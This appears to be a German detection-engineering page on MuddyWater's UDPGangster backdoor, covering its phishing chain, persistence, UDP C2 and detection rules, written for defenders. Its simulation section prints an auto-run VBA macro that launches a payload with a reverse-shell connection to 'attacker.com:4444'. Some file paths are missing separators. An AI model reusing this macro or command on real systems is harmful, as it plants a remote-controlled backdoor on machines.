UDPGangster-Angriffe breiten sich über mehrere Länder aus
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
UDPGangster ist ein UDP-basierter Hintertür-Trojaner, der von der Bedrohungsgruppe MuddyWater genutzt wird, um Windows-Hosts aus der Ferne zu steuern. Der erste Kompromittierungsschritt erfolgt über ein bösartiges Word-Dokument, das VBA-Makros verwendet, um die Schadsoftware abzulegen und auszuführen. Die Malware führt umfangreiche Anti-Analyse-Prüfungen durch und bleibt persistenz, indem sie eine Kopie im AppData-Verzeichnis des Benutzers ablegt und einen Run-Schlüssel erstellt. Kürzlich beobachtete Kampagnen zielten auf Benutzer in der Türkei, Israel und Aserbaidschan.
Untersuchung
FortiGuard Labs untersuchte die Phishing-E-Mails, das eingebettete VBA-Makro, die abgelegte ausführbare Datei und ihre Persistenztechniken. Sie extrahierten Indikatoren wie Dateipfade, Run-Registry-Einträge, Mutex-Namen und zugehörige C2-Infrastruktur. Die Korrelation von IP-Adressen, Domänen und PDB-Pfaden ermöglichte es Analysten, diese Aktivitäten mit früheren MuddyWater-Operationen in Verbindung zu bringen.
Minderung
Minderungsmaßnahmen umfassen die Durchsetzung der Makroblockierung oder eine robuste Benutzerschulung, um die Ausführung von Makros zu verhindern, sowie den Einsatz von Endgeräteverteidigungen, die verdächtige Dateischreibvorgänge in öffentliche oder Benutzerprofil-Ordner sowie Änderungen an Run-Registry-Schlüsseln überwachen. Netzwerkteams sollten nach anomalen UDP-Verkehr auf Port 1269 Ausschau halten und bekannte bösartige IP-Adressen und Domänen blockieren, um C2-Kanäle zu stören.
Reaktion
Wenn Aktivitäten von UDPGangster erkannt werden, isolieren Sie den betroffenen Endpunkt, sammeln flüchtigen Speicher und vollständige Abbildungen der Festplatte, und suchen Sie nach der Hintertür-Binärdatei und verwandten Artefakten. Blockieren Sie die identifizierte C2-Infrastruktur, führen Sie eine gründliche forensische Analyse durch, um weitere kompromittierte Systeme aufzudecken, und aktualisieren Sie Sicherheits-Signaturen, um sowohl die bösartigen Makro-Dokumente als auch die Hintertür-Payload zu erkennen.
graph TB %% Class Definitions classDef action fill:#99ccff classDef malware fill:#ff6666 classDef process fill:#66ff66 %% Node definitions action_phishing[„<b>Action</b> – <b>T1566.001 Spearphishing Attachment</b>: E-Mail mit bösartigem Word-Dokument und ZIP-Datei.“] class action_phishing action action_macro[„<b>Action</b> – <b>T1059.005 Command and Scripting Interpreter VBA</b>: Document_Open-Makro dekodiert eine Base64-Nutzlast nach C:\\Users\\Public\\ui.txt.“] class action_macro action action_vba_stomping[„<b>Action</b> – <b>T1564.007 Hide Artifacts VBA Stomping</b>: Bösartige Binärdatei im Makro verborgen und zur Laufzeit materialisiert.“] class action_vba_stomping action action_obfuscation[„<b>Action</b> – <b>T1027.004 Compile After Delivery</b>: Nutzlast mit Base64-Kodierung und Compile-Time-Techniken verschleiert.“] class action_obfuscation action action_persistence_copy[„<b>Action</b> – <b>T1547.014 Boot or Logon Autostart Execution</b>: Kopiert die Backdoor nach %AppData%\\RoamingLow\\SystemProc.exe.“] class action_persistence_copy action action_registry_persistence[„<b>Action</b> – <b>T1547.014 Registry Run Key</b>: Erstellt einen Startup-Eintrag unter HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell.“] class action_registry_persistence action action_anti_sandbox[„<b>Action</b> – <b>T1497.002 Virtualization Sandbox Evasion</b>: Führt Debugger-Erkennung, CPU-Kernanzahl-, RAM-Größen-, MAC-Präfix-, Domänenstatus-Prüfungen, WMI-Abfragen, Registry-Scans und Prüfungen bekannter Sandbox-DLLs durch.“] class action_anti_sandbox action action_c2_udp[„<b>Action</b> – <b>T1571 Non Standard Port</b>: Kommuniziert mit dem C2 über UDP-Port 1269.“] class action_c2_udp action action_raw_udp[„<b>Action</b> – <b>T1095 Non Application Layer Protocol</b>: Verwendet rohe UDP-Pakete für den Datenverkehr.“] class action_raw_udp action action_data_encoding[„<b>Action</b> – <b>T1132.002 Custom Encoding</b>: Systeminformationen werden vor der Exfiltration mit einer Rotate-Right-Transformation kodiert.“] class action_data_encoding action malware_backdoor[„<b>Malware</b>: Benutzerdefinierte Backdoor-Binärdatei“] class malware_backdoor malware process_c2[„<b>Process</b>: Remote-C2-Server“] class process_c2 process %% Connections showing attack flow action_phishing –>|liefert| action_macro action_macro –>|materialisiert| action_vba_stomping action_vba_stomping –>|verschleiert| action_obfuscation action_obfuscation –>|kopiert nach AppData| action_persistence_copy action_persistence_copy –>|erstellt Run-Key| action_registry_persistence action_registry_persistence –>|aktiviert| malware_backdoor action_vba_stomping –>|führt aus| action_anti_sandbox action_anti_sandbox –>|bei Erfolg| action_c2_udp action_c2_udp –>|verwendet| action_raw_udp action_raw_udp –>|sendet kodierte Daten| action_data_encoding action_data_encoding –>|an| process_c2 process_c2 –>|steuert| malware_backdoor
Angriffsverlauf
Erkennungen
Erkennung der UDPGangster C2-Kommunikation über UDP-Port 1269 [Windows-Netzwerkverbindung]
Anzeigen
UDPGangster Remote-Befehlsausführung über CreateProcessA und cmd.exe [Windows-Prozesserstellung]
Anzeigen
Erkennung der UDPGangster Mutex-Erstellung [Windows Sysmon]
Anzeigen
IOCs (SourceIP) zum Erkennen: UDPGangster-Kampagnen zielen auf mehrere Länder
Anzeigen
IOCs (DestinationIP) zum Erkennen: UDPGangster-Kampagnen zielen auf mehrere Länder
Anzeigen
Simulationausführung
Voraussetzung: Der Telemetrie- und Basislinien-Pre-Flight-Check muss bestanden sein.
Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der Angreifertechnik (TTP), die entwickelt wurde, um die Erkennungsregel auszulösen. Die Befehle und Erzählungen MÜSSEN direkt die identifizierten TTPs widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die durch die Erkennungslogik erwartet wird.
-
Angriffserzählung & Befehle:
Ein Angreifer liefert ein bösartiges Word-Dokument mit einem VBA-Makro. Das Makro ruft die Windows-APICreateProcessAauf, umcmd.exezu starten und die UDPGangster-Payload (udp_gangster.exe). Die Payload stellt eine Reverse-Shell zum C2-Server des Angreifers her. Da das Makro explizit die Zeichenfolge „CreateProcessA“ übergibt und das Literalcmd.exein der Befehlszeile übergibt, wird die Erkennungsregel übereinstimmen.-
VBA-Makro (vereinfacht) – demonstriert den API-Aufruf:
Private Declare PtrSafe Function CreateProcessA Lib "kernel32" _ (ByVal lpApplicationName As String, ByVal lpCommandLine As String, _ ByVal lpProcessAttributes As LongPtr, ByVal lpThreadAttributes As LongPtr, _ ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, _ ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, _ ByRef lpStartupInfo As STARTUPINFO, ByRef lpProcessInformation As PROCESS_INFORMATION) As Long Sub AutoOpen() Dim cmdLine As String cmdLine = "cmd.exe /c ""%TEMP%udp_gangster.exe -c attacker.com:4444""" Dim si As STARTUPINFO Dim pi As PROCESS_INFORMATION Call CreateProcessA(vbNullString, cmdLine, 0, 0, 1, &H00000010, 0, vbNullString, si, pi) End Sub -
Das Makro bereitstellen, das Dokument öffnen und das Makro ausführen lassen. Das resultierende Prozesseerstellungsevent wird folgendes beinhalten:
Befehlszeile: cmd.exe /c "%TEMP%udp_gangster.exe -c attacker.com:4444"
-
-
Regressions-Test-Skript: Das folgende PowerShell-Skript reproduziert die genaue Telemetrie ohne die Notwendigkeit eines Word-Dokuments. Es ruft die native Win32-API
CreateProcessAüberAdd-Type.# Regressionstest: direkter CreateProcessA-Aufruf mit cmd.exe $source = @" using System; using System.Runtime.InteropServices; public class NativeMethods { [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Ansi)] public struct STARTUPINFO { public int cb; public string lpReserved; public string lpDesktop; public string lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; } [DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true)] public static extern bool CreateProcessA( string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); } "@ Add-Type $source $si = New-Object NativeMethods+STARTUPINFO $si.cb = [Runtime.InteropServices.Marshal]::SizeOf([NativeMethods+STARTUPINFO]) $pi = New-Object NativeMethods+PROCESS_INFORMATION $cmd = 'cmd.exe /c "echo UDPGangster simulation > $env:TEMPudp_gangster.log"' $result = [NativeMethods]::CreateProcessA($null, $cmd, [IntPtr]::Zero, [IntPtr]::Zero, $true, 0x00000010, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi) if (-not $result) { Write-Error "CreateProcessA failed: $([Runtime.InteropServices.Marshal]::GetLastWin32Error())" } else { Write-Host "CreateProcessA succeeded, command line logged." } -
Aufräumbefehle: Entfernen Sie das Artefakt, das während der Simulation erstellt wurde.
# Entfernen Sie die temporäre Logdatei, die durch die Simulation erzeugt wurde Remove-Item -Path "$env:TEMPudp_gangster.log" -ErrorAction SilentlyContinue